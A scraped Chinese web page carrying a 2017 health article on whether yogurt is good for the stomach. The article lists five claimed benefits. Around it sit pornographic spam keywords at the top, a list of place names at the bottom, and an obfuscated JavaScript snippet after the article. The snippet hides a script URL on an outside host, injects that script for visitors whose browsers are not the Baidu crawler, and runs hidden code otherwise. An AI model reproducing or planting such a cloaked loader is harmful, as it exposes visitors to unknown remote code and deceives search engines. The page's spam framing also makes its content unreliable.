亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

酸奶對(duì)胃到底有好處嗎

2017-07-11 17:45:31  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):對(duì)于酸牛奶里面的營(yíng)養(yǎng)價(jià)值并不是需要多說(shuō)的,基本上來(lái)說(shuō)很多人們都是非常了解酸牛奶里面的營(yíng)養(yǎng),所以才會(huì)經(jīng)常的去喝酸奶的,尤其是家長(zhǎng)們擔(dān)

對(duì)于酸牛奶里面的營(yíng)養(yǎng)價(jià)值并不是需要多說(shuō)的,基本上來(lái)說(shuō)很多人們都是非常了解酸牛奶里面的營(yíng)養(yǎng),所以才會(huì)經(jīng)常的去喝酸奶的,尤其是家長(zhǎng)們擔(dān)心孩子營(yíng)養(yǎng)不良,總是會(huì)在早餐的時(shí)候給他們準(zhǔn)備一杯酸牛奶,這樣的話就能夠很好的去補(bǔ)充自己身體當(dāng)中的營(yíng)養(yǎng)物質(zhì),因此現(xiàn)在的人們對(duì)于酸牛奶的需求量是非常大的,很多人都是每天早晚各喝一杯酸牛奶的。

好處一:預(yù)防骨質(zhì)疏松。美國(guó)紐約海倫-海絲醫(yī)院的骨科主任杰瑞·尼維斯博士指出,充足的營(yíng)養(yǎng)成分在預(yù)防和治療骨質(zhì)疏松上起到了關(guān)鍵作用,而鈣、維生素D等微量元素最為關(guān)鍵。雖然對(duì)于鈣的很多研究結(jié)果還莫衷一是,但普遍認(rèn)為鈣元素對(duì)任何年齡人士的骨質(zhì)都有很好的作用。

而奶制品所提供的維生素D非常高,并且把鈣元素和維生素D結(jié)合在一起,對(duì)骨骼的好處更明顯了。我們從食品標(biāo)簽中可以獲知,很多奶制品,包括酸奶在制作時(shí)都添加了維生素D,大家在選購(gòu)時(shí)不妨多“垂青”這一類。

好處二:降低血壓。美國(guó)哈佛大學(xué)公共衛(wèi)生學(xué)院流行病學(xué)研究員艾爾瓦羅·阿良索博士介紹說(shuō),研究發(fā)現(xiàn),在那些每天飲2—3份或更多酸奶的人中,高血壓的發(fā)病危險(xiǎn)比那些不喝的人降低了50%。

常識(shí):缺鈣也會(huì)引起血壓高

好處三:提高免疫力。含有大量活性菌的酸奶可以幫助改善乳糖不耐、便秘、腹瀉、腸炎、幽門螺桿菌感染等病癥。美國(guó)農(nóng)業(yè)部的人類營(yíng)養(yǎng)學(xué)研究中心正在塔夫斯大學(xué)進(jìn)行老年研究工作,研究員吉恩邁爾表示,酸奶不僅可以改善腸道環(huán)境,還可以提高機(jī)體免疫力。無(wú)獨(dú)有偶,臺(tái)灣近日的一項(xiàng)研究也發(fā)現(xiàn),酸奶能提高某些消炎藥的治療效果。

好處四:預(yù)防婦科感染。對(duì)于患有糖尿病的女性來(lái)說(shuō),陰道酵母菌感染是普遍問(wèn)題。一項(xiàng)較小的研究發(fā)現(xiàn),糖尿病女性患者慢性酵母菌感染,只要每天飲用200毫升甜味酸奶,就可以使陰道酸堿值從6.0降至4.0(正常值為4.0—4.5),并且酵母菌感染也有所減少。

好處五:控制食欲。華盛頓大學(xué)曾進(jìn)行過(guò)這樣一項(xiàng)研究:讓受試者從以下熱量均為200大卡的食物中任選一種(半固體酸奶加一片桃子、酸奶、桃子味的牛奶、桃子汁)食用,結(jié)果顯示,喝過(guò)酸奶者比其他人饑餓感減少,飽脹感增加。

其實(shí)毋庸置疑酸奶對(duì)于自己的胃部自然是非常好的,如果是經(jīng)常去喝酸牛奶的人們是不會(huì)出現(xiàn)便秘的情況,能夠很好的去清理自己腸道里面的垃圾,才不會(huì)讓自己的腸道里面堆積的毒素沒(méi)有辦法徹底的排出,只不過(guò)喝酸奶也是要有一定節(jié)制的,通常每天喝兩杯即可的,如果是喝太多就會(huì)讓胃酸分泌過(guò)多的。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
安庆市| 清原| 萨迦县| 寿阳县| 乌鲁木齐市| 桦甸市| 宾川县| 河池市| 浦县| 宁城县| 武鸣县| 家居| 蒲城县| 阿鲁科尔沁旗| 历史| 于都县| 清原| 南开区| 庐江县| 阳朔县| 遵义市| 光泽县| 寿光市| 荥经县| 揭东县| 吴江市| 宜阳县| 綦江县| 加查县| 徐汇区| 定南县| 响水县| 商丘市| 大竹县| 楚雄市| 都兰县| 合水县| 渭源县| 罗江县| 梁平县| 安义县|